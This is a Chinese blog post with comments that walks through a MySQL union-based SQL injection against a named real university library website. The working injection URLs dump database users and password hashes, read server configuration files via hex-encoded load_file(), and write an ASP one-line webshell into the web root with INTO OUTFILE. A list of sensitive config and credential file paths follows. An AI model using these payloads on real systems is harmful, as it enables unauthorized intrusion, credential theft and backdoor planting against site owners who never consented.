最新消息:

MySQL通过注入读配置文件与写webshell

MySQL注入 admin 8301浏览 0评论

目标站点:http://rizal.lib.admu.edu.ph/rlnews.asp?nID=192

20140110104015

可以看到网站使用了mysql作为数据库,并且注入点没有类似于magic_quotes_gpc那样对单引号进行转义(只有没对单引号、双引号做转义才能够通过注入写shell)。

一、基本注入

1、获取数据库基本信息

(1)user()

数据库的用户,格式为 user @ server 例如 root@ localhost 通常最高管理账户为root,服务器以localhost也就是本地居多,也可以是服务器名例如mysqldbsever,也可以是ip例如192.168.100.111.所有的user,都会在mysql数据库的user表段中记录,用于设置权限等

http://rizal.lib.admu.edu.ph/rlnews.asp?nID=192 and 1=2 union select 1,2,3,4,user(),6,7,8

20140110113709

(2)version()

当前使用的数据库的版本,通常为4.x或者5.x,更低版本没遇到过,存在更高级的6.x的版本,版本最后通常会表明系统的版本,例如5.x.x-nt表示nt(windows)系统下使用的mysql版本

http://rizal.lib.admu.edu.ph/rlnews.asp?nID=192 and 1=2 union select 1,2,3,4,version(),6,7,8

20140110111620

(3)database()

当前数据库名,网站建设者任意给予的数据库的名称.

http://rizal.lib.admu.edu.ph/rlnews.asp?nID=192 and 1=2 union select 1,2,3,4,database(),6,7,8

20140110113900

(4)@@datadir

http://rizal.lib.admu.edu.ph/rlnews.asp?nID=192 and 1=2 union select 1,2,3,4,@@datadir,6,7,8

数据路径。数据库储存数据总要有个路径放数据,就是这里了。windows常用,通常用于load_file时猜测网站路径等。例如c:\program files\mysql5\data\

20140110105020

(5)@@basedir

20140110145418

2、获取mysql用户信息

http://rizal.lib.admu.edu.ph/rlnews.asp?nID=192 and 1=2 union select 1,2,3,4,group_concat(host,0x3a,user,0x3a,password),6,7,8 from mysql.user

20140110114355

3、获取数据库,表,字段,数据

Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息。

20140110153237

(1)获取数据库

http://rizal.lib.admu.edu.ph/rlnews.asp?nID=192  and 1=2 union select 1,2,3,4,group_concat(SCHEMA_NAME),6,7,8 from  information_schema.SCHEMATA

20140110153514

(2)获取表名

http://rizal.lib.admu.edu.ph/rlnews.asp?nID=192  and 1=2 union select 1,2,3,4,group_concat(TABLE_NAME),6,7,8 from  information_schema.TABLES where TABLE_SCHEMA=database()

20140110153736

(3)获取列名

http://rizal.lib.admu.edu.ph/rlnews.asp?nID=192  and 1=2 union select 1,2,3,4,group_concat(COLUMN_NAME),6,7,8 from  information_schema.COLUMNS where TABLE_NAME='asklib'

20140110153937

(4)获取数据

http://rizal.lib.admu.edu.ph/rlnews.asp?nID=192  and 1=2 union select 1,2,3,4,group_concat(Name),6,7,8 from  dbnews.asklib

20140110154448

 

二、通过注入读取文件

通过注入读文件使用load_file()命令。这是MySQL以文本方式读取文件的参数,例如:linux系统的网站load_file(‘/etc /passwd’)或者windows系统的网站load_file(‘c:\\boot.ini’)。这个参数可以用的前提是,你user()得到的用户名(参见关于mysql.user表介绍),在mysql.user表中的字段file_priv设置为Y(即用户有文件操作权限),则load_file()参数则可用。需要注意的是,如果为windows系统,保险起见将路径设置为双斜杠\\ 因为在计算机语言中双斜杠才是单斜杠的意思,如果为单斜杠,例如d:\table,那么这个路径中得\t就会被解析为键盘上的tab键,\n\r类似,最终得不到想要的结果。很多时候,php的网站的gpf会设置为on(就是对特殊字符做修改,例如单引号’自动修改为\’),那么load_file(‘c:\\boot.ini’)就变成:load_file(\’c:\\\\boot.ini\’)出现语法错误,得不到结果
解决方法就是,和concat参数一样,hex混用,将c:\\boot.ini进行hex编码,得 到:0x633a5c5c626f6f742e696e69,原语句修改 为:union+select+1,load_file(0x633a5c5c626f6f742e696e69)即可。使用load_file参数后面可以不加from。

如果知道网站物理路径,读取文件直接使用该命令即可;如果不知道网站物理路径,只能根据系统猜测各种配置文件保存路径,常见配置文件路径如下(稍后进行补充):

c:\\boot.ini
 C:\WINDOWS\system32\inetsrv\metabase.xml    IIS网站配置文件
 /etc /passwd

ps:当读取内容为空时试着hex编码一下。
http://rizal.lib.admu.edu.ph/rlnews.asp?nID=192 and 1=2 union select 1,2,3,4,load_file(0x633A5C5C77696E646F77735C5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),6,7,8
20140110115355
http://rizal.lib.admu.edu.ph/rlnews.asp?nID=192 and 1=2 union select 1,2,3,4,hex(load_file(0x633A5C5C77696E646F77735C5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C)),6,7,8
20140110115422

ps:上面的0x633A5C5C77696E646F77735C5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C是路径c:\\windows\\system32\\inetsrv\\MetaBase.xml的hex编码。当gpc开启时必须将路径转换成hex编码来能成功读文件。当gpc关闭时,可以直接使用路径(即由引号包围的路径)。

ps:获取的数据是经过hex()编码的数据,需要转换过来,可以使用winhex来进行转换。转换过程如下:

(1)用winhex新建文件
20140110145727

(2)拷贝注入得到的hex数据,在新建文件的offset为0的地方用Ctrl +V来进行粘贴,选择Ascii Hex格式,粘贴完成后保存文件即可。
20140110145949
20140110150005
20140110150018

(3)winhex保存文件,即可获取到解码后的内容

20140110150531

三、通过注入写文件

通过读取配置文件后,可以获取到网站的物理路径。注入写webshell文件的用法就是+union+select+webshell的hex编码+into+outfile+’网站屋里路径\\a.php’;
前提是gpc设置为off,有注入点,权限很大,file_priv设置为Y,已知网站路径。虽然条件苛刻,不过仍然就是有很多2B管理员创造了这样的条件。注意:需要gpc设置为off,因为物理路径外面需要引号包围。

(1)在配置文件C:\WINDOWS\system32\inetsrv\metabase.xml中找网站物理路径。

20140110151315

(2)通过outfile写文件

http://rizal.lib.admu.edu.ph/rlnews.asp?nID=192 and 1=2 union select 1,2,3,4,(select 5 from(select '<%Y=request("1")%> <%execute(Y)%>' into outfile 'c:\\inetpub\\wwwroot\\a.asp') ),6,7,8

http://rizal.lib.admu.edu.ph/rlnews.asp?nID=192 and 1=2 union select 1,2,3,4,(select 5 from(select  0x3c25593d726571756573742822312229253e3c2565786563757465285929253e  into dumpfile 'c:\\inetpub\\wwwroot\\abc.asp') ),6,7,8

20140110151547

20140110160653

ps:使用panglion可以方便的通过注入读取和写入文件,其中使用的注入语句也是上面的outfile。

如:

20140110160341

写入文件的语句通过WExpert抓包下来为:

20140110160455

可以看到注入语句本质上是一样的,只是panglion通过char()函数来编码文件而已。

————————————————————————————————————–

常见网站配置文件

load_ file(char(47)) 可以列出FreeBSD,Sunos系统根目录
/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虚拟主机配置文件
c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息.
c:/Resin/conf/resin.conf 
/usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 本看防火墙策略
usr/local/app/php5 b/php.ini PHP 的相当设置
/etc/my.cnf MYSQL的配置文件
/etc/redhat-release 红帽子的系统版本
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
/usr/local/app/php5 b/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虚拟网站设置
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
c:\windows\my.ini
c:\boot.ini

参考文献:

1、ASP+MySQL的奇葩站点拿下shell

2、手工注入php+MySQL参数,技巧和描述

3、php_mysql注入load _file()IIS配置文件获取

4、MySQL 手工注入语句总结

 

转载请注明:jinglingshu的博客 » MySQL通过注入读配置文件与写webshell

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

网友最新评论 (3)

  1. 写webshell的条件:(1)知道站点物理路径.(2)有文件操作权限。(3)magic_quotes_gpc()=OFF
    admin11年前 (2014-01-10)回复
  2. 读取文件和写文件时使用pangolion要方便一点
    admin11年前 (2014-01-10)回复
  3. 读取文件load_file的文件路径既可以是'包裹的路径,也可以是0x开始的路径的16进制编码字符串。而写文件时的outfile后面的路径必须是'包裹的路径,这也是围殴什么必须在gpc为off的情况下写文件才会成功的原因
    admin11年前 (2014-02-12)回复